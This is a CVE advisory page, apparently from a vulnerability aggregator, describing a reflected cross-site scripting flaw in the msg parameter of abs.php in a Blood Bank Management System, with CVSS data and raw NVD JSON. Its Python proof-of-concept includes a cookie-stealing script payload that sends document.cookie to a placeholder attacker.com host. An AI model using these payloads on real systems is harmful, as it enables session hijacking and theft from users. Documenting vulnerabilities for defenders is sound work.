Security Vulnerability Report
中文
CVE-2025-63526 CVSS 8.5 HIGH

CVE-2025-63526

Published: 2025-12-01 15:15:51
Last Modified: 2025-12-02 03:05:32

Description

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System within the abs.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the msg parameter, which is then executed in the victim's browser when the page is viewed.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Blood Bank Management System <= 未知版本(所有未修复版本均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-63526 PoC - Blood Bank Management System XSS in abs.php # Target URL with vulnerable msg parameter target_url = "http://target-server/abs.php" # Malicious JavaScript payload for XSS exploitation xss_payload = "<script>alert(document.cookie)</script>" # PoC 1: Basic XSS injection params = { "msg": xss_payload } print("[*] Sending XSS payload to abs.php...") response = requests.get(target_url, params=params) if xss_payload in response.text: print("[+] XSS vulnerability confirmed!") print("[+] Payload reflected in response without sanitization") # PoC 2: Cookie stealing payload cookie_steal_payload = "<script>fetch('http://attacker.com/log?cookie='+document.cookie)</script>" params_cookie = { "msg": cookie_steal_payload } print("[*] Sending cookie stealing payload...") response2 = requests.get(target_url, params=params_cookie) if cookie_steal_payload in response2.text: print("[+] Cookie stealing payload reflected - vulnerability exploitable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63526", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:51.270", "lastModified": "2025-12-02T03:05:32.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System within the abs.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the msg parameter, which is then executed in the victim's browser when the page is viewed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5B391DFD-8072-4642-9A31-9E4DE8648367"}]}]}], "references": [{"url": "https://drive.google.com/file/d/12yeOXW_sN69QjsQtW0_k9AGqozi1s0di/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Shridharshukl/Blood-Bank-Management-System", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-63526.md", "source": "[email protected]", "tags": ["Exploit"]}]}}